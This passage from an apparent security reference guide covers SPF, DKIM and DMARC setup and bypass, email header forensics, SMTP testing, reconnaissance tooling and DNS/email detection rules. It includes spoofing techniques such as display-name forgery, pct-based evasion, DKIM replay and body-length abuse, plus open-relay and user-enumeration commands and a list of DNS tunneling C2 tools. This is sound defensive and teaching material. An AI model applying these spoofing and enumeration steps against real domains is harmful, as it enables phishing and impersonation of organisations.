# Use online tools: mxtoolbox.com/spf.aspx, dmarcian.com/spf-survey
# Test SPF from command line
python3 -c "
import spf
result = spf.check2(i='203.0.113.1', s='user@target.com', h='mail.target.com')
print(result) # ('pass', 250, 'sender SPF authorized')
"
# Count DNS lookups recursively
dig +short target.com TXT | grep spf
# Then check each include recursively
11. DKIM Implementation & Bypass
DKIM (DomainKeys Identified Mail) — RFC 6376
DKIM adds a cryptographic signature to email headers, allowing receivers to verify the message wasn't tampered with in transit.
How DKIM Works
- Sending server generates RSA/Ed25519 signature over specified headers + body
- Signature added as
DKIM-Signatureheader - Public key published in DNS as TXT record at
selector._domainkey.domain.com - Receiving server retrieves public key, verifies signature
DKIM DNS Record
# DNS TXT record: selector._domainkey.example.com
v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
# With specific options
v=DKIM1; k=rsa; t=s; p=<public_key>
# t=s — strict mode: signing domain must exactly match From domain
# t=y — testing mode (don't enforce)
Key parameters:
v=DKIM1— versionk=rsaork=ed25519— key typep=— base64-encoded public keyt=s— strict subdomain alignmentt=y— testing modes=email— service type restrictionh=sha256— hash algorithm
DKIM Signature Header
DKIM-Signature: v=1; a=rsa-sha256; d=example.com; s=selector1;
c=relaxed/relaxed; q=dns/txt; t=1609459200;
h=from:to:subject:date:message-id;
bh=base64_body_hash;
b=base64_signature
a=— signing algorithm (rsa-sha256 recommended, Ed25519 emerging)c=— canonicalization (relaxed/relaxed most common)d=— signing domains=— selectorh=— signed headersbh=— body hashb=— signature
DKIM Bypass Techniques
1. Missing DKIM: Many domains simply don't implement DKIM. No signature = no verification.
# Check for DKIM (need to know/guess selector)
dig selector1._domainkey.target.com TXT
dig google._domainkey.target.com TXT
dig default._domainkey.target.com TXT
dig k1._domainkey.target.com TXT
2. Key Length Weakness: RSA keys < 1024 bits can be factored. Some legacy deployments use 512-bit keys.
# Extract and check key length
dig selector._domainkey.target.com TXT | grep "p=" | \
openssl rsa -pubin -text -noout 2>/dev/null | head -1
3. Testing Mode (t=y):
DKIM in testing mode signals receivers not to treat failures as definitive.
4. Header Injection / Replay:
If h= doesn't include critical headers, attacker may add unsigned headers that override signed ones. DKIM replay: take a legitimately signed email, modify unsigned portions, re-send.
5. Body Length Limit (l= tag):
If l= is set, only the first N bytes of body are signed. Attacker appends malicious content after signed portion.
6. Subdomain Alignment:
DKIM d= domain may not align with the From: header domain — this is where DMARC alignment catches gaps.
DKIM Verification
# Check DKIM record exists
dig selector._domainkey.example.com TXT
# Verify DKIM signature on received email
opendkim-testkey -d example.com -s selector -vvv
# Python verification
python3 -c "
import dkim
with open('email.eml', 'rb') as f:
msg = f.read()
result = dkim.verify(msg)
print(f'DKIM valid: {result}')
"
12. DMARC Configuration & Bypass
DMARC (Domain-based Message Authentication, Reporting and Conformance) — RFC 7489
DMARC ties SPF and DKIM together, requiring alignment between the authentication domain and the visible From: header domain. It also provides reporting.
How DMARC Works
A message passes DMARC if:
- SPF passes AND the envelope sender domain aligns with the
From:header domain, OR - DKIM passes AND the DKIM
d=domain aligns with theFrom:header domain
Alignment can be:
- Strict (
aspf=s/adkim=s): Exact domain match required - Relaxed (
aspf=r/adkim=r): Organizational domain match (subdomains OK)
DMARC DNS Record
# DNS TXT record at _dmarc.example.com
v=DMARC1; p=reject; rua=mailto:dmarc-reports@example.com; ruf=mailto:dmarc-forensic@example.com; adkim=s; aspf=s; pct=100; fo=1
# Tags explained:
# v=DMARC1 — version (required)
# p=reject — policy: none | quarantine | reject (required)
# sp=reject — subdomain policy (defaults to p= if absent)
# rua=mailto: — aggregate report destination
# ruf=mailto: — forensic/failure report destination
# adkim=s — DKIM alignment: s=strict, r=relaxed
# aspf=s — SPF alignment: s=strict, r=relaxed
# pct=100 — percentage of messages to apply policy (0-100)
# fo=1 — failure reporting: 0=all fail, 1=any fail, d=DKIM fail, s=SPF fail
# ri=86400 — aggregate report interval in seconds
DMARC Policy Progression (Deployment Path)
# Phase 1: Monitor only (no enforcement)
v=DMARC1; p=none; rua=mailto:dmarc@example.com; fo=1
# Phase 2: Quarantine 10% (gradual rollout)
v=DMARC1; p=quarantine; pct=10; rua=mailto:dmarc@example.com; ruf=mailto:forensic@example.com
# Phase 3: Quarantine 100%
v=DMARC1; p=quarantine; pct=100; rua=mailto:dmarc@example.com
# Phase 4: Full reject
v=DMARC1; p=reject; sp=reject; adkim=s; aspf=s; rua=mailto:dmarc@example.com; ruf=mailto:forensic@example.com; fo=1
DMARC Bypass Techniques
1. p=none Policy: Many domains deploy DMARC in monitor-only mode and never progress to enforcement.
dig _dmarc.target.com TXT
# v=DMARC1; p=none — no enforcement, spoofing works
2. Missing Subdomain Policy:
If sp= is absent, subdomain policy defaults to p=. But if p=none:
# target.com has p=reject but no sp= tag
# Subdomains may inherit reject, but:
# If subdomain has no SPF/DKIM, alignment fails differently
# Test: spoof from sub.target.com
3. Relaxed Alignment Exploitation:
# With adkim=r (relaxed):
# DKIM d=sub.target.com aligns with From: user@target.com
# Attacker signs with their subdomain of target.com (if they control one)
4. pct= Less Than 100:
# v=DMARC1; p=reject; pct=25
# 75% of failing messages are NOT rejected — just treated as p=none
# Send enough spoofed emails, most get through
5. From Header Display Name Spoofing:
DMARC protects the From: header domain, not the display name:
From: "CEO Name <ceo@target.com>" <attacker@attacker.com>
# Display shows: CEO Name <ceo@target.com>
# Actual from: attacker@attacker.com (passes attacker's DMARC)
# Many email clients show only display name
6. Cousin Domain / Lookalike:
DMARC can't protect against target-security.com or tarqet.com — that's where dnstwist monitoring comes in.
DMARC Verification
# Check DMARC record
dig _dmarc.target.com TXT
# Comprehensive email authentication check
# Send test email and check headers for:
# Authentication-Results: dmarc=pass (p=reject dis=none)
# Authentication-Results: spf=pass
# Authentication-Results: dkim=pass
# Parse DMARC aggregate reports (XML in zip)
# Tools: parsedmarc, dmarc-visualizer, Postmark DMARC tool
Non-Sending Domain Protection
Domains that should never send email still need protection:
# SPF: deny all
v=spf1 -all
# DKIM: empty key (explicitly no signing)
*._domainkey.example.com TXT "v=DKIM1; p="
# DMARC: reject everything
_dmarc.example.com TXT "v=DMARC1; p=reject; sp=reject; rua=mailto:dmarc@example.com"
# Null MX (RFC 7505) — domain accepts no mail
example.com MX 0 .
13. Email Header Analysis
Critical Headers for Security Analysis
Return-Path: <actual-sender@origin.com> # Envelope sender (SPF checks this)
Received: from mail.origin.com (203.0.113.5) # Each hop adds one (read bottom-up)
by mx.receiver.com with ESMTPS id xyz;
Wed, 14 Mar 2026 10:30:00 -0000
From: "Display Name" <visible@target.com> # What user sees (DMARC checks this)
Reply-To: phisher@evil.com # Where replies go (often different in phishing)
Message-ID: <unique-id@origin.com> # Should match sending domain
X-Mailer: Microsoft Outlook 16.0 # Client identification
X-Originating-IP: [10.0.0.50] # Internal IP of sender (Exchange)
Authentication-Results: mx.receiver.com;
spf=pass (sender SPF authorized) smtp.mailfrom=origin.com;
dkim=pass header.d=origin.com header.s=selector1;
dmarc=pass (p=REJECT sp=REJECT) header.from=origin.com
ARC-Authentication-Results: i=1; mx.receiver.com; # ARC for forwarding chains
spf=pass; dkim=pass; dmarc=pass
Header Analysis — Red Flags
| Indicator | Normal | Suspicious |
|---|---|---|
| Received chain | Consistent, matches expected MTA path | Missing hops, unusual geolocations, forged server names |
| Return-Path vs From | Same domain | Different domains (SPF/DMARC mismatch) |
| Message-ID domain | Matches From domain | Random domain, no domain, or attacker domain |
| X-Originating-IP | Internal corporate IP | External IP, VPN exit, cloud provider |
| Reply-To | Absent or same as From | Different domain, free email provider |
| Date | Recent, consistent timezone | Future date, wildly different timezone |
| Content-Type boundary | Random string | Known malware generator signatures |
| X-Mailer | Known client | Bulk mailer, custom tool, Python scripts |
Forensic Header Analysis Commands
# Extract and analyze headers
# Parse Received headers (bottom-up = chronological order)
grep -i "^Received:" email.eml | tac
# Check authentication results
grep -i "Authentication-Results" email.eml
# Extract originating IP
grep -i "X-Originating-IP\|Received:.*\[" email.eml
# Decode MIME encoded headers
python3 -c "
from email.header import decode_header
header = '=?UTF-8?B?base64encoded?='
decoded = decode_header(header)
print(decoded)
"
# Full header analysis with Python
python3 -c "
import email
from email import policy
with open('email.eml') as f:
msg = email.message_from_file(f, policy=policy.default)
print('From:', msg['From'])
print('Return-Path:', msg['Return-Path'])
print('Reply-To:', msg['Reply-To'])
print('Message-ID:', msg['Message-ID'])
print()
for key in ['Authentication-Results', 'ARC-Authentication-Results',
'X-Originating-IP', 'X-Mailer']:
if msg[key]:
print(f'{key}: {msg[key]}')
print()
print('--- Received chain (chronological) ---')
for r in reversed(msg.get_all('Received', [])):
print(r.strip())
"
ARC (Authenticated Received Chain) — RFC 8617
ARC preserves authentication results across forwarding hops (mailing lists, forwarding services) that would otherwise break SPF/DKIM:
ARC-Seal: i=1; a=rsa-sha256; d=forwarder.com; s=arc; cv=none; b=...
ARC-Message-Signature: i=1; a=rsa-sha256; d=forwarder.com; s=arc;
h=from:to:subject:date; bh=...; b=...
ARC-Authentication-Results: i=1; forwarder.com;
dkim=pass header.d=original.com; spf=pass; dmarc=pass
14. Email Infrastructure Testing
MailHog — Development Email Testing
MailHog provides a safe SMTP sink for testing email workflows without delivering to real recipients.
Architecture:
- ESMTP server (RFC 5321 compliant) on port 1025
- Web UI on port 8025 for message inspection
- JSON API (v1/v2) for programmatic access
- Storage: in-memory (default), MongoDB, or file-based
Security Testing Use Cases:
# Start MailHog
mailhog
# Configure application to use MailHog SMTP
# SMTP_HOST=localhost, SMTP_PORT=1025
# Send test email via CLI
swaks --to test@example.com --from sender@example.com \
--server localhost:1025 --body "Test message"
# API access
curl http://localhost:8025/api/v2/messages # List all messages
curl http://localhost:8025/api/v1/messages # Alternative API
Jim (Chaos Monkey): Built-in failure simulation for testing email resilience — random connection drops, delays, and rejections.
SMTP Security Testing
# Test STARTTLS support
openssl s_client -starttls smtp -connect mail.target.com:25
# Check for open relay
swaks --to external@gmail.com --from test@target.com \
--server mail.target.com --port 25
# Test SMTP AUTH methods
swaks --to test@target.com --server mail.target.com \
--auth-user test --auth-password test --auth PLAIN
# SMTP VRFY/EXPN user enumeration
telnet mail.target.com 25
VRFY admin
EXPN all-staff
# Check TLS certificate
echo | openssl s_client -starttls smtp -connect mail.target.com:25 2>/dev/null | \
openssl x509 -noout -subject -issuer -dates
# Test MTA-STS
curl https://mta-sts.target.com/.well-known/mta-sts.txt
MTA-STS (RFC 8461) — SMTP TLS Enforcement
# DNS record: _mta-sts.example.com TXT "v=STSv1; id=20260314"
# Policy file at https://mta-sts.example.com/.well-known/mta-sts.txt
version: STSv1
mode: enforce # none | testing | enforce
mx: mail.example.com
mx: *.example.com
max_age: 604800 # 7 days in seconds
SMTP TLS Reporting (TLSRPT — RFC 8460)
# DNS record
_smtp._tls.example.com TXT "v=TLSRPTv1; rua=mailto:tlsrpt@example.com"
BIMI (Brand Indicators for Message Identification)
# DNS record (requires DMARC p=quarantine or p=reject)
default._bimi.example.com TXT "v=BIMI1; l=https://example.com/logo.svg; a=https://example.com/vmc.pem"
15. Domain Reputation Management
Reputation Factors
| Factor | Impact | Monitoring |
|---|---|---|
| SPF/DKIM/DMARC | Authentication failures damage reputation | DMARC aggregate reports |
| Bounce rate | High bounces signal spam | Monitor NDRs |
| Complaint rate | User spam reports | Feedback loops (FBLs) |
| Blacklist presence | Immediate delivery failure | Regular DNSBL checks |
| Sending volume | Sudden spikes trigger throttling | Gradual IP warmup |
| Content quality | Spam-like content triggers filters | Content scanning |
| Domain age | New domains have neutral/low reputation | Establish history gradually |
| Shared IP reputation | Neighbors on shared IP affect you | Dedicated IPs for production mail |
DNSBL (DNS-Based Blacklists) Monitoring
# Check if IP is blacklisted (reverse IP octets + DNSBL zone)
# For IP 203.0.113.5:
dig 5.113.0.203.zen.spamhaus.org A
dig 5.113.0.203.bl.spamcop.net A
dig 5.113.0.203.dnsbl.sorbs.net A
dig 5.113.0.203.b.barracudacentral.org A
# Batch check script
#!/bin/bash
IP="203.0.113.5"
REV=$(echo $IP | awk -F. '{print $4"."$3"."$2"."$1}')
DNSBLS=(
"zen.spamhaus.org"
"bl.spamcop.net"
"dnsbl.sorbs.net"
"b.barracudacentral.org"
"dnsbl-1.uceprotect.net"
"psbl.surriel.com"
"db.wpbl.info"
"all.s5h.net"
)
for dnsbl in "${DNSBLS[@]}"; do
result=$(dig +short "${REV}.${dnsbl}" A 2>/dev/null)
if [ -n "$result" ]; then
echo "[LISTED] $IP is on $dnsbl ($result)"
else
echo "[CLEAN] $IP not on $dnsbl"
fi
done
# Check domain reputation
dig target.com.dbl.spamhaus.org A # Domain-based blacklist
IP Warmup Strategy
New IPs or domains have no sending history — start low and ramp up:
Week 1: 50 emails/day
Week 2: 100 emails/day
Week 3: 500 emails/day
Week 4: 1,000 emails/day
Week 5: 5,000 emails/day
Week 6: 10,000 emails/day
Week 7: 25,000 emails/day
Week 8: Full volume
Monitor bounce rate (<2%), complaint rate (<0.1%), and blacklist status throughout.
Complete Email Authentication Stack
# 1. SPF — authorize sending servers
example.com TXT "v=spf1 include:_spf.google.com ip4:203.0.113.0/24 -all"
# 2. DKIM — sign messages (2048-bit RSA minimum)
selector1._domainkey.example.com TXT "v=DKIM1; k=rsa; p=<2048-bit-public-key>"
# 3. DMARC — enforce alignment + reporting
_dmarc.example.com TXT "v=DMARC1; p=reject; sp=reject; adkim=s; aspf=s; rua=mailto:dmarc-agg@example.com; ruf=mailto:dmarc-fail@example.com; fo=1; pct=100"
# 4. MTA-STS — enforce TLS
_mta-sts.example.com TXT "v=STSv1; id=20260314"
# + policy file at https://mta-sts.example.com/.well-known/mta-sts.txt
# 5. TLSRPT — TLS failure reporting
_smtp._tls.example.com TXT "v=TLSRPTv1; rua=mailto:tls-reports@example.com"
# 6. CAA — restrict certificate issuance
example.com CAA 0 issue "letsencrypt.org"
example.com CAA 0 iodef "mailto:security@example.com"
# 7. BIMI — brand indicator (requires VMC)
default._bimi.example.com TXT "v=BIMI1; l=https://example.com/logo.svg"
# 8. Null MX for non-mail subdomains
cdn.example.com MX 0 .
static.example.com MX 0 .
16. Visual Reconnaissance & Screenshot Tools
Gowitness
Website screenshot utility using Chrome Headless:
# Single URL screenshot
gowitness scan single --url "https://target.com" --write-db
# From URL list
gowitness scan file -f urls.txt --write-db
# From Nmap XML output
gowitness scan nmap -f scan.xml --write-db
# From CIDR range
gowitness scan cidr --cidr 10.0.0.0/24 --write-db
# View report
gowitness report serve
# Access at http://localhost:7171
Captures screenshots, response headers, cookies, console logs, and request logs. Stores in SQLite with a web-based report viewer and API.
Aquatone
Visual inspection pipeline:
# Pipe from subdomain enumeration
cat subdomains.txt | aquatone -out report/
# Custom ports
cat subs.txt | aquatone -ports 80,443,8080,8443 -out report/
# With threading
cat subs.txt | aquatone -threads 10 -out report/
# Custom screenshot resolution
cat subs.txt | aquatone -resolution "1920,1080" -out report/
Generates HTML report with screenshots clustered by visual similarity — quickly identifies default pages, login portals, and interesting applications across large target sets.
Integration in Recon Pipelines
# Full pipeline: enum -> resolve -> probe -> screenshot
amass enum -passive -d target.com | \
puredns resolve -q -r resolvers.txt | \
httpx -silent | \
aquatone -out target_report/
17. YARA-Based Threat Intelligence
mquery — Fast YARA Searching at Scale
Architecture:
- Frontend: Web GUI for submitting YARA rules and viewing results
- Backend: UrsaDB — n-gram indexed file database for pre-filtering
- Workers: Multiple daemon processes for parallel YARA execution
Indexing:
# Index a malware sample directory with multiple n-gram types
index "/mnt/samples" with [gram3, text4, wide8, hash4];
N-gram types:
gram3: 3-byte trigrams (general purpose)text4: 4-byte text patterns (ASCII strings)wide8: 8-byte wide character patterns (UTF-16)hash4: 4-byte hash patterns (binary data)
Deployment:
# Docker Compose deployment
# Configure .env with sample/index directories
docker-compose up -d --scale daemon=3 # 3 parallel workers
Use Cases for DNS/Email Security:
- Search malware repos for samples communicating with specific DNS infrastructure
- Identify phishing kit variants by email template patterns
- Correlate IOCs across malware families using DNS C2 patterns
- Track domain generation algorithm (DGA) implementations
18. Detection Engineering for DNS/Email Threats
Sigma Rules — DNS Threats
title: DNS Query to Known DGA Domain Pattern
id: 4a5b6c7d-8e9f-0a1b-2c3d-4e5f6a7b8c9d
status: experimental
description: Detects DNS queries matching common DGA patterns with high consonant ratios
logsource:
category: dns_query
product: network
detection:
selection:
query|re: '^[bcdfghjklmnpqrstvwxyz]{4,}\.'
filter:
query|endswith:
- '.cdn.cloudflare.com'
- '.akamaiedge.net'
condition: selection and not filter
falsepositives:
- Legitimate domains with unusual naming (rare)
level: medium
tags:
- attack.t1568.002
- attack.command_and_control
---
title: DNS Query for Cryptocurrency Mining Pool
id: 5c6d7e8f-9a0b-1c2d-3e4f-5a6b7c8d9e0f
status: experimental
description: Detects DNS queries to known cryptocurrency mining pool domains
logsource:
category: dns_query
product: network
detection:
selection:
query|contains:
- 'pool.minergate'
- 'mining.pool'
- 'xmrpool'
- 'moneropool'
- 'cryptonight'
- 'coinhive.com'
- 'coin-hive.com'
- 'hashvault.pro'
condition: selection
falsepositives:
- Authorized cryptocurrency research
level: high
tags:
- attack.t1496
- attack.impact
---
title: Potential DNS Rebinding Attack
id: 6d7e8f0a-1b2c-3d4e-5f6a-7b8c9d0e1f2a
status: experimental
description: Detects DNS responses alternating between public and private IP addresses for same domain
logsource:
category: dns_query
product: network
detection:
selection_private:
answer|re: '^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)'
filter_internal:
query|endswith:
- '.internal'
- '.local'
- '.corp'
condition: selection_private and not filter_internal
falsepositives:
- Split-horizon DNS configurations
- VPN split-tunnel DNS
level: medium
tags:
- attack.t1557
- attack.credential_access
Sigma Rules — Email Threats
title: Email with SPF Hard Fail Delivered
id: 7e8f0a1b-2c3d-4e5f-6a7b-8c9d0e1f2a3b
status: experimental
description: Detects delivered emails where SPF authentication returned hard fail indicating potential spoofing
logsource:
category: email
product: exchange
detection:
selection:
spf_result: 'fail'
action: 'delivered'
condition: selection
falsepositives:
- Legitimate forwarded emails breaking SPF
- Misconfigured third-party senders
level: high
tags:
- attack.t1566.001
- attack.initial_access
---
title: DMARC Policy Override on High-Value Domain
id: 8f0a1b2c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects emails where DMARC policy was overridden despite alignment failure
logsource:
category: email
product: exchange
detection:
selection:
dmarc_result: 'fail'
dmarc_action: 'none'
filter:
sender_domain|endswith:
- '.gov'
- '.mil'
- '.edu'
condition: selection
falsepositives:
- DMARC policies set to p=none during initial deployment
level: medium
tags:
- attack.t1566.001
- attack.initial_access
KQL Queries — Microsoft Sentinel
// DNS tunneling detection - high query volume to single domain
DnsEvents
| where TimeGenerated > ago(1h)
| extend BaseDomain = tostring(split(Name, ".")[-2]) + "." + tostring(split(Name, ".")[-1])
| summarize QueryCount=count(), UniqueSubdomains=dcount(Name),
AvgQueryLength=avg(strlen(Name)) by BaseDomain, ClientIP
| where QueryCount > 500 and UniqueSubdomains > 100 and AvgQueryLength > 40
| sort by QueryCount desc
// Subdomain takeover indicator - CNAME to NXDOMAIN
DnsEvents
| where QueryType == "CNAME" and ResultCode == "NXDOMAIN"
| summarize Count=count() by Name, TimeGenerated=bin(TimeGenerated, 1h)
| where Count > 5
// Email authentication failure surge
EmailEvents
| where TimeGenerated > ago(24h)
| where AuthenticationDetails contains "spf=fail" or AuthenticationDetails contains "dkim=fail"
| summarize FailCount=count() by SenderFromDomain, bin(TimeGenerated, 1h)
| where FailCount > 50
Splunk Queries
// DNS exfiltration via encoded subdomains
index=dns sourcetype=dns
| eval subdomain=mvindex(split(query, "."), 0)
| eval sub_len=len(subdomain)
| eval sub_entropy=log(sub_len)/log(2)
| where sub_len > 30
| stats count avg(sub_len) as avg_len dc(query) as unique_queries by src_ip dest_domain
| where unique_queries > 100 AND avg_len > 40
// Newly registered domain queries (NRD detection)
index=dns sourcetype=dns
| lookup domain_age_lookup domain AS query OUTPUT first_seen
| eval domain_age_days=(now()-first_seen)/86400
| where domain_age_days < 30
| stats count by query src_ip domain_age_days
| sort -count
19. Toolchain Reference
Reconnaissance & Enumeration
| Tool | Purpose | Key Strength |
|---|---|---|
| amass | Attack surface mapping | 50+ data sources, graph database, ASN mapping |
| massdns | High-speed DNS resolution | 350K+ queries/sec, async I/O, raw socket support |
| puredns | Wildcard-aware resolution | Multi-phase wildcard detection, massdns integration |
| dnsrecon | DNS enumeration suite | Zone transfers, SRV enum, cache snooping, brute force |
| fierce | DNS reconnaissance | Zone transfers, nearby IP scanning, /24 traversal |
| alterx | Pattern-based permutation | DSL syntax, enrichment mode, nuclei-style templates |
| altdns | Classic subdomain permutation | Wordlist-based mutation, built-in resolution |
| subfinder | Passive subdomain discovery | Fast, passive-only, many sources |
Visual & Analysis
| Tool | Purpose | Key Strength |
|---|---|---|
| gowitness | Website screenshots | Chrome Headless, Nmap/Nessus input, SQLite + web report |
| aquatone | Visual domain discovery | Similarity clustering, HTML report, pipeline integration |
| dnstwist | Domain permutation/phishing | 14+ fuzzing algorithms, SSDEEP, phishing detection |
| mquery | YARA malware search | UrsaDB n-gram indexing, web GUI, horizontal scaling |
Tunneling & C2
| Tool | Purpose | Key Strength |
|---|---|---|
| dnscat2 | DNS tunneling C2 | Encrypted sessions, multi-record type, session management |
| iodine | IP-over-DNS | Full IP tunnel, tun interface, high throughput |
| dns2tcp | DNS tunneling | Service multiplexing, lightweight |
Email Testing
| Tool | Purpose | Key Strength |
|---|---|---|
| MailHog | SMTP testing | Web UI, API, Jim chaos monkey, RFC 5321 compliant |
| swaks | SMTP test tool | Auth testing, TLS verification, header injection |
| parsedmarc | DMARC report parsing | Aggregate + forensic report analysis |
ATT&CK Mapping — DNS/Email Techniques
| TTP ID | Technique | Relevance |
|---|---|---|
| T1071.004 | Application Layer Protocol: DNS | DNS tunneling, C2 over DNS |
| T1572 | Protocol Tunneling | dnscat2, iodine, dns2tcp |
| T1048.003 | Exfiltration Over Alternative Protocol: Unencrypted | DNS exfiltration |
| T1568.002 | Dynamic Resolution: Domain Generation Algorithms | DGA detection |
| T1568.001 | Dynamic Resolution: Fast Flux DNS | Rapidly changing A records |
| T1583.001 | Acquire Infrastructure: Domains | Lookalike domains, typosquatting |
| T1584.002 | Compromise Infrastructure: DNS Server | DNS hijacking |
| T1590.002 | Gather Victim Network Information: DNS | Zone transfers, enumeration |
| T1598 | Phishing for Information | Spoofed email, credential harvesting |
| T1566.001 | Phishing: Spearphishing Attachment | Email-based initial access |
| T1566.002 | Phishing: Spearphishing Link | Email-based initial access |
| T1557 | Adversary-in-the-Middle | DNS rebinding, cache poisoning |
| T1496 | Resource Hijacking | Cryptomining via DNS-discovered infrastructure |
| T1190 | Exploit Public-Facing Application | Subdomain takeover |
Key Takeaways
- DNS is both the richest recon source and the most abused protocol — every organization must treat DNS monitoring as a Tier 1 detection priority
- Email authentication is a three-legged stool — SPF, DKIM, and DMARC must all be at enforcement level with strict alignment to be effective
- Subdomain takeover is a persistent organizational risk — requires continuous monitoring, not one-time audits
- DNS tunneling detection requires entropy analysis — signature-based detection alone misses encrypted tunnels
- Certificate transparency is a double-edged sword — enables both attacker reconnaissance and defender monitoring
- Domain reputation is fragile — one misconfiguration (open relay, missing SPF, soft fail DMARC) can land your entire domain on blacklists
- Non-sending domains need protection too — null MX,
-allSPF, andp=rejectDMARC on every domain you own